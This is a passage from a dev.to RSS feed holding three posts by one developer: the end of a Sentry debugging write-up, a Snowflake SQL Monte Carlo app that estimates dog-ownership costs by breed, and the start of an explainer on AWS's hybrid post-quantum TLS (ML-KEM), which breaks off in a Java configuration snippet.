&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F7r83v7qth3l9ym4p9p5b.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F7r83v7qth3l9ym4p9p5b.png" alt="Sentry Session Replay of the survey-load crash in the browser" width="800" height="460"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;To be precise about the roles: Sentry &lt;strong&gt;found&lt;/strong&gt; this bug (the &lt;code&gt;sentry[bot]&lt;/code&gt; issue), Seer &lt;strong&gt;explained&lt;/strong&gt; it, and Session Replay, the trace, and the handled-degrade signal &lt;strong&gt;verified&lt;/strong&gt; the fix. Code inspection and the failing tests are what proved the root cause. I am not claiming Sentry wrote the fix, I am showing where each Sentry tool earned its place in the loop.&lt;/p&gt;

&lt;p&gt;Sentry tools used: &lt;strong&gt;Error Monitoring&lt;/strong&gt; (found and grouped the crash), &lt;strong&gt;Session Replay&lt;/strong&gt; (recorded the crash in the browser, the SDK's real environment), &lt;strong&gt;Breadcrumbs and custom Tags/Context&lt;/strong&gt; (traced the event back to issue #6581 / FORMBRICKS-CLOUD-3VE), &lt;strong&gt;Distributed Tracing&lt;/strong&gt; (each call wrapped in a named &lt;code&gt;makeRequest&lt;/code&gt; span), and &lt;strong&gt;Seer&lt;/strong&gt; (AI root-cause analysis that independently confirmed the fix).&lt;/p&gt;

&lt;p&gt;The reproduction harness (Node and browser) is public here: &lt;a href="https://github.com/lewisawe/sentry-repro" rel="noopener noreferrer"&gt;https://github.com/lewisawe/sentry-repro&lt;/a&gt;&lt;/p&gt;

</description>
      <category>devchallenge</category>
      <category>bugsmash</category>
    </item>
    <item>
      <title>What This Dog Actually Costs</title>
      <dc:creator>Lewis Sawe</dc:creator>
      <pubDate>Sun, 16 Aug 2026 16:31:31 +0000</pubDate>
      <link>https://dev.to/lewisawe/what-this-dog-actually-costs-37a</link>
      <guid>https://dev.to/lewisawe/what-this-dog-actually-costs-37a</guid>
      <description>&lt;p&gt;&lt;em&gt;This is a submission for &lt;a href="https://dev.to/challenges/weekend-2026-08-13"&gt;Weekend Challenge: Dog Days Edition&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What I Built
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;What This Dog Actually Costs&lt;/strong&gt; estimates the lifetime cost of owning a dog by breed, and shows it as a probability distribution instead of a single number.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fnlxqhlddqvpgjoyiu6cc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fnlxqhlddqvpgjoyiu6cc.png" alt="Roll a life" width="800" height="345"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Every "cost of a dog" article gives you one figure. "About $30,000 over its life." That number is useless the moment you look at a real dog. Breeds are wildly different, and the cost is not fixed. It is a gamble. Most owners pay in a normal range. Some get hit with a $6,000 hip surgery or a cancer bill in year eight. A single average hides the entire risk.&lt;/p&gt;

&lt;p&gt;So I built a tool that shows the shape of the bet before you take it. Pick a breed and you see the median, the typical range, and the expensive tail nobody budgets for. It runs on a Monte Carlo simulation of 10,000 dog-lifetimes per breed, 300,000 simulated lives in total, computed in Snowflake SQL.&lt;/p&gt;

&lt;p&gt;Four things it does:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;The distribution.&lt;/strong&gt; The full spread of outcomes for a breed, with the tail past $40,000 shaded red so you can see how likely a very expensive dog really is.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Roll a life.&lt;/strong&gt; A button that pulls one random simulated dog out of Snowflake and narrates its whole life: which conditions hit, at what age, and the running total. Abstract odds become one dog's story.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;A scenario lab.&lt;/strong&gt; Two sliders, deductible and coinsurance, that make Snowflake re-run the numbers live to answer "is insurance worth it for this breed?" There is an adopt-versus-buy toggle too.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;A leaderboard.&lt;/strong&gt; All 30 breeds ranked by cost, tail risk, or cost per year.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Demo
&lt;/h2&gt;

&lt;p&gt;🎥 &lt;strong&gt;Video walkthrough:&lt;/strong&gt; &lt;/p&gt;

&lt;p&gt;  &lt;iframe src="https://www.youtube.com/embed/1zM8k4ByHdQ"&gt;
  &lt;/iframe&gt;
&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;And to try it yourself on streamlit&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;🔗 &lt;a href="https://mutina.streamlit.app/" rel="noopener noreferrer"&gt;Live App - mutina.streamlit.app&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The surprise the simulation kept handing me: the safe, popular choice is the expensive one. All figures are uninsured, pay-as-you-go, in US dollars.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The two most popular family dogs in America are also the priciest to own. A &lt;strong&gt;Labrador Retriever&lt;/strong&gt; runs a median of about &lt;strong&gt;$32,700&lt;/strong&gt; over its life, and a &lt;strong&gt;Golden Retriever&lt;/strong&gt; about &lt;strong&gt;$32,650&lt;/strong&gt;. The Golden has the fattest tail of any breed I modeled: nearly &lt;strong&gt;1 in 5&lt;/strong&gt; tops $40,000, driven mostly by cancer.&lt;/li&gt;
&lt;li&gt;A &lt;strong&gt;Great Dane&lt;/strong&gt; looks like the scary one, but it is not the villain. It costs the most &lt;em&gt;per year&lt;/em&gt; to run, about &lt;strong&gt;$3,400&lt;/strong&gt;, yet lives only ~9 years, so its lifetime median lands mid-pack near $30,300. A short life is not a cheap one, but a long healthy one with cancer risk costs even more.&lt;/li&gt;
&lt;li&gt;A &lt;strong&gt;French Bulldog&lt;/strong&gt; sits at a median of about &lt;strong&gt;$22,500&lt;/strong&gt;, with a typical range of $15,000 to $32,000. The three-lives view makes the spread concrete: a lucky one costs about &lt;strong&gt;$13,900&lt;/strong&gt;, a median one &lt;strong&gt;$22,500&lt;/strong&gt;, a nightmare one &lt;strong&gt;$35,200&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;A &lt;strong&gt;Border Collie&lt;/strong&gt; lives long yet stays predictable: a median around &lt;strong&gt;$24,000&lt;/strong&gt; and only about a &lt;strong&gt;3%&lt;/strong&gt; chance of topping $40,000.&lt;/li&gt;
&lt;li&gt;Nearly &lt;strong&gt;half of Cavalier King Charles Spaniels&lt;/strong&gt; develop mitral valve disease. You can watch that single condition bend the whole distribution.&lt;/li&gt;
&lt;li&gt;The affordability test is the blunt one. At &lt;strong&gt;$75/month saved and a $1,500 emergency fund&lt;/strong&gt;, there is a &lt;strong&gt;74%&lt;/strong&gt; chance a French Bulldog hands you a year you can't cover. Its median worst year is about $5,150. Raise the fund and watch the number fall.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Flqd2gl2dxs8nq36w2moj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Flqd2gl2dxs8nq36w2moj.png" alt="Cost distribution for a Labrador with the expensive tail shaded red" width="799" height="367"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;The distribution, not a single number. Everything past $40,000 is shaded red.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fijgvn51n4j1ncylem7at.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fijgvn51n4j1ncylem7at.png" alt="Three simulated Labrador lives: lucky, median, nightmare" width="800" height="236"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Same breed, three real simulated dogs: $23,410, $32,710, and $44,626.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F7xq344hmuo4a81325eu8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F7xq344hmuo4a81325eu8.png" alt="Live insurance scenario lab recomputing across 10,000 lives in Snowflake" width="799" height="283"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Move a slider and Snowflake re-runs all 10,000 lives, then hands you a verdict.&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Code
&lt;/h2&gt;




&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://assets.dev.to/assets/github-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/lewisawe" rel="noopener noreferrer"&gt;
        lewisawe
      &lt;/a&gt; / &lt;a href="https://github.com/lewisawe/Dog-Days" rel="noopener noreferrer"&gt;
        Dog-Days
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;&lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;What This Dog Actually Costs&lt;/h1&gt;
&lt;/div&gt;
&lt;p&gt;Estimate the lifetime cost of owning a dog by breed, shown as a probability
distribution instead of a single number. The estimates come from a Monte Carlo
simulation of thousands of dog-lifetimes run in Snowflake SQL.&lt;/p&gt;
&lt;p&gt;Built for the DEV Weekend Challenge: Dog Days Edition.&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;How it works&lt;/h2&gt;
&lt;/div&gt;
&lt;ol&gt;
&lt;li&gt;Three input tables (breeds, health conditions, breed-condition risk) are loaded
into Snowflake from CSV.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;sql/03_simulation.sql&lt;/code&gt; simulates 10,000 dog-lifetimes per breed. Each simulated
dog draws its own lifespan, accrues care costs each year (senior years weighted
higher), and rolls the dice on the health conditions its breed is prone to.&lt;/li&gt;
&lt;li&gt;The Streamlit app reads the result tables and shows the cost distribution, the
headline numbers, and the top cost drivers per breed. It also narrates individual
simulated lives (three percentile lives plus a random "roll a life"), stress-tests a
budget against every dog's worst year, and runs a…&lt;/li&gt;
&lt;/ol&gt;&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/lewisawe/Dog-Days" rel="noopener noreferrer"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;


&lt;p&gt;The pieces:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;data/&lt;/code&gt;: the dataset (30 breeds, 16 conditions, breed-specific risk), plus &lt;code&gt;SOURCES.md&lt;/code&gt; documenting every assumption.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;sql/01_schema.sql&lt;/code&gt;, &lt;code&gt;02_load.sql&lt;/code&gt;, &lt;code&gt;03_simulation.sql&lt;/code&gt;: the schema and data load, then the Monte Carlo simulation. &lt;code&gt;load_data.py&lt;/code&gt; runs the whole pipeline against a fresh Snowflake trial in one command.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;streamlit_app.py&lt;/code&gt;: the app. It runs as a Streamlit-in-Snowflake app on the active session, or locally against your account, with no code changes.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  How I Built It
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;The data.&lt;/strong&gt; 30 popular breeds, 16 health conditions, and the breed-specific lifetime probability of each. Lifespans lean on the Royal Veterinary College's VetCompass 2024 life tables. Treatment and care costs use US insurer claims data and vet ranges (hip dysplasia treatment averages around $5,200, for example). Every figure is a documented, honest planning estimate, not a quote.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Snowflake is the engine, not just storage.&lt;/strong&gt; The interesting work is the simulation, and it runs in SQL. &lt;code&gt;GENERATOR&lt;/code&gt; fans each breed out into 10,000 rows. &lt;code&gt;NORMAL&lt;/code&gt; and &lt;code&gt;UNIFORM&lt;/code&gt; draw each dog's lifespan and roll its disease risks year by year. &lt;code&gt;PERCENTILE_CONT&lt;/code&gt; collapses 300,000 simulated dog-lives into medians and tails. It builds in a few seconds on an XS warehouse.&lt;/p&gt;

&lt;p&gt;The core:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="c1"&gt;-- one row per simulated dog: draw a lifespan around the breed median&lt;/span&gt;
&lt;span class="k"&gt;CREATE&lt;/span&gt; &lt;span class="k"&gt;OR&lt;/span&gt; &lt;span class="k"&gt;REPLACE&lt;/span&gt; &lt;span class="k"&gt;TABLE&lt;/span&gt; &lt;span class="n"&gt;sim_dogs&lt;/span&gt; &lt;span class="k"&gt;AS&lt;/span&gt;
&lt;span class="k"&gt;SELECT&lt;/span&gt;
    &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;breed_name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;ROW_NUMBER&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="n"&gt;OVER&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;PARTITION&lt;/span&gt; &lt;span class="k"&gt;BY&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;breed_name&lt;/span&gt; &lt;span class="k"&gt;ORDER&lt;/span&gt; &lt;span class="k"&gt;BY&lt;/span&gt; &lt;span class="n"&gt;RANDOM&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="k"&gt;AS&lt;/span&gt; &lt;span class="n"&gt;sim_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;GREATEST&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;LEAST&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;ROUND&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;lifespan_median&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;lifespan_sd&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;NORMAL&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;RANDOM&lt;/span&gt;&lt;span class="p"&gt;()))))&lt;/span&gt; &lt;span class="k"&gt;AS&lt;/span&gt; &lt;span class="n"&gt;lifespan_years&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;annual_food&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;annual_routine_vet&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;annual_preventatives&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;AS&lt;/span&gt; &lt;span class="n"&gt;annual_baseline&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;puppy_setup&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;purchase_price&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;breeds&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;
&lt;span class="k"&gt;CROSS&lt;/span&gt; &lt;span class="k"&gt;JOIN&lt;/span&gt; &lt;span class="k"&gt;TABLE&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;GENERATOR&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ROWCOUNT&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;10000&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="k"&gt;g&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;One gotcha worth flagging: Snowflake's &lt;code&gt;NORMAL(mean, stddev, gen)&lt;/code&gt; needs &lt;code&gt;mean&lt;/code&gt; and &lt;code&gt;stddev&lt;/code&gt; to be constants. You cannot pass columns. The fix is to draw a standard normal and scale it yourself: &lt;code&gt;median + sd * NORMAL(0, 1, RANDOM())&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Two modeling choices worth stating.&lt;/strong&gt; Routine care is age-weighted: the last up to three years of a dog's life cost 40% more, since senior dogs need more vet visits and medication. And the headline number is deliberately &lt;strong&gt;uninsured, pay-as-you-go&lt;/strong&gt;. Insurance isn't baked into the base cost (that would double-count premiums against out-of-pocket bills). Instead it lives in the scenario tab as an explicit choice.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The scenario lab uses Snowflake live.&lt;/strong&gt; The insurance question is not precomputed. When you move the deductible or coinsurance slider, the app fires a parameterized query that recomputes uninsured versus insured cost across all 10,000 lives and returns two fresh distributions plus a verdict. The answer changes by breed: for a high-risk breed insurance shrinks the tail and pays for itself; for a low-risk one the premiums outrun the payouts.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Trust the SQL by reimplementing it.&lt;/strong&gt; I wrote a pure-Python mirror of the model and a DuckDB mirror, then confirmed all three land on the same medians. When an independent reimplementation agrees, the warehouse math is sound.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fuh3gxndh6uwa7d5s1zt7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fuh3gxndh6uwa7d5s1zt7.png" alt="Budget stress test showing the chance of a year you cannot cover" width="800" height="236"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;The affordability panel stress-tests your budget against every simulated dog's worst year.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The app&lt;/strong&gt; is Streamlit, reading the result tables. It detects its environment: inside Snowflake it uses the active Snowpark session, and locally it uses the Python connector.&lt;/p&gt;

&lt;h2&gt;
  
  
  Prize Categories
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Best Use of Snowflake.&lt;/strong&gt; Snowflake is the compute engine. The Monte Carlo simulation, the percentile math, and the live insurance scenarios all run as SQL in the warehouse. The app connects to Snowflake for every view. It runs either as a Streamlit-in-Snowflake app on the active session, or on Streamlit Cloud against a dedicated read-only Snowflake user with a warehouse credit cap.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F2qnmovdqruiwlk67o0oy.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F2qnmovdqruiwlk67o0oy.png" alt="All 30 breeds ranked by median lifetime cost, Labrador on top" width="800" height="332"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Every breed ranked. The Labrador and the other popular family dogs sit at the top.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>devchallenge</category>
      <category>weekendchallenge</category>
    </item>
    <item>
      <title>Quantum Computers Can't Break Your Encryption Yet. "Yet" Is the Problem.</title>
      <dc:creator>Lewis Sawe</dc:creator>
      <pubDate>Mon, 03 Aug 2026 16:26:46 +0000</pubDate>
      <link>https://dev.to/aws-builders/quantum-computers-cant-break-your-encryption-yet-yet-is-the-problem-dg</link>
      <guid>https://dev.to/aws-builders/quantum-computers-cant-break-your-encryption-yet-yet-is-the-problem-dg</guid>
      <description>&lt;p&gt;Right now, someone could be copying your encrypted traffic off the wire and storing it. They can't read it. The TLS session protecting your database credentials, your API secrets, and your customer data in transit is safe against every computer that exists today.&lt;/p&gt;

&lt;p&gt;They don't need to read it today. They need to read it in 2032, when a large enough quantum computer runs Shor's algorithm and unwinds the elliptic-curve math that TLS uses to agree on a session key. The ciphertext they harvested this morning gets decrypted the moment that hardware arrives.&lt;/p&gt;

&lt;p&gt;This is the "harvest now, decrypt later" threat, and it's a today problem for any data that stays sensitive for years. AWS has been rolling out the fix across its services, and the interesting part is how quiet it's been. If you connect to AWS Secrets Manager with a current client, your handshake is already post-quantum. Most people never noticed the switch.&lt;/p&gt;

&lt;p&gt;Here's what changed, why it matters, and a demo you can run in ten seconds to see it on your own connections.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why "Later" Is Closer Than the Headlines Suggest
&lt;/h2&gt;

&lt;p&gt;The usual objection: no quantum computer today can crack a P-256 handshake. True. Current machines have a few hundred noisy qubits. Breaking modern key agreement needs millions of stable ones, which is years away, maybe more than a decade.&lt;/p&gt;

&lt;p&gt;The timeline that matters isn't when the quantum computer shows up. It's the sum of three numbers:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;How long your data must stay confidential (X years)&lt;/li&gt;
&lt;li&gt;How long your migration to quantum-safe crypto takes (Y years)&lt;/li&gt;
&lt;li&gt;How long until a cryptographically relevant quantum computer exists (Z years)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is Mosca's inequality. If X + Y &amp;gt; Z, you're already late. A database credential might rotate in 90 days, so its X is tiny. But regulatory records, health data, and long-lived encryption keys can carry a confidentiality requirement measured in decades. For that data, an adversary who records the handshake today wins later, no matter how far off "later" turns out to be.&lt;/p&gt;

&lt;p&gt;The weak point is the key agreement, not the bulk encryption. AES-256 holds up fine against quantum attacks. Grover's algorithm only halves its effective strength, and 128 bits of post-quantum security is still unbreakable. The problem is the asymmetric step at the start of every connection, where client and server use elliptic-curve Diffie-Hellman to agree on the symmetric key. Shor's algorithm eats ECDH for breakfast. Recover the key agreement, recover the session key, decrypt everything that flowed over it.&lt;/p&gt;

&lt;p&gt;So the fix targets exactly that step.&lt;/p&gt;

&lt;h2&gt;
  
  
  What AWS Deployed: ML-KEM in a Hybrid Handshake
&lt;/h2&gt;

&lt;p&gt;The new algorithm is ML-KEM, the Module-Lattice-Based Key-Encapsulation Mechanism, standardized by NIST as FIPS 203 in 2024. Its security rests on lattice problems that no known quantum algorithm solves efficiently. If you followed this earlier, you knew it as CRYSTALS-Kyber. Kyber was the pre-standard draft. ML-KEM is the finished version, and AWS is removing Kyber support from its endpoints in 2026 in favor of it.&lt;/p&gt;

&lt;p&gt;The design choice worth understanding is the word "hybrid." AWS didn't rip out elliptic curve and drop in ML-KEM alone. The handshake negotiates both at once: X25519 for the classical part and ML-KEM-768 for the post-quantum part, combined into a single group labeled &lt;code&gt;X25519MLKEM768&lt;/code&gt;. Both key exchanges run, and their shared secrets get mixed together to derive the session key.&lt;/p&gt;

&lt;p&gt;Why keep the old one? Because ML-KEM is new. Lattice cryptography has held up under scrutiny, but "held up so far" isn't the decades of battle-testing that X25519 has behind it. If someone breaks ML-KEM tomorrow, the hybrid handshake is still as strong as classical X25519, which is what you run today anyway. If a quantum computer arrives, the ML-KEM half holds. You have to break both halves to lose. It's a hedge, and it's the right one.&lt;/p&gt;

&lt;p&gt;This runs on AWS's open-source crypto stack: AWS-LC for the primitives and s2n-tls for the TLS implementation. AWS-LC was the first open-source cryptographic module to get ML-KEM into a FIPS 140-3 validation, which matters if your compliance requirements only accept validated modules.&lt;/p&gt;

&lt;p&gt;Support landed first, back in April 2025, on the three services carrying the most confidentiality-critical traffic: KMS, ACM, and Secrets Manager. Since then it has spread. Run the demo below and you'll find it negotiated on S3, DynamoDB, and EC2 endpoints too. AWS committed to deploying ML-KEM to every service with an HTTPS endpoint, and by mid-2026 that rollout is well underway.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Part Everyone Gets Wrong: This Is Shared Responsibility
&lt;/h2&gt;

&lt;p&gt;Here's the trap. AWS turning on ML-KEM at the endpoint does nothing for you by itself. The server only speaks post-quantum if the client offers it first. Your SDK, your TLS library, your client, that's the side that has to propose &lt;code&gt;X25519MLKEM768&lt;/code&gt; in the ClientHello. If your client offers only classical curves, the handshake stays classical and your traffic is still harvestable, no matter how ready the server is.&lt;/p&gt;

&lt;p&gt;So the migration is your client fleet, not the AWS side. The good news is that for the flagship path, AWS already made the default decision for you. As of April 2026, these Secrets Manager clients enable hybrid post-quantum TLS out of the box:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The Workload Credentials Provider (formerly the Secrets Manager Agent) v2.0.0 and later&lt;/li&gt;
&lt;li&gt;The Secrets Manager Lambda extension v19 and later&lt;/li&gt;
&lt;li&gt;The Secrets Manager CSI Driver v2.0.0 and later&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;On those versions you're done. No code change, no flag. Upgrade the client and the handshake goes post-quantum.&lt;/p&gt;

&lt;p&gt;For direct SDK usage, support exists in the AWS SDKs for Rust, Go, Node.js, Kotlin, Python, and Java v2, each with its own minimum version. Some enable it automatically, some need a flag. Java v2 is the explicit case. You need the AWS Common Runtime HTTP client, version 2.30.22 or later, and you turn it on:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Maven: software.amazon.awssdk:aws-crt-client:2.30.22 (or later)&lt;/span&gt;

&lt;span class="nc"&gt;SdkAsyncHttpClient&lt;/span&gt; &lt;span class="n"&gt;crtClient&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;AwsCrtAsyncHttpClient&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;builder&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt;
        &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;postQuantumTlsEnabled&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
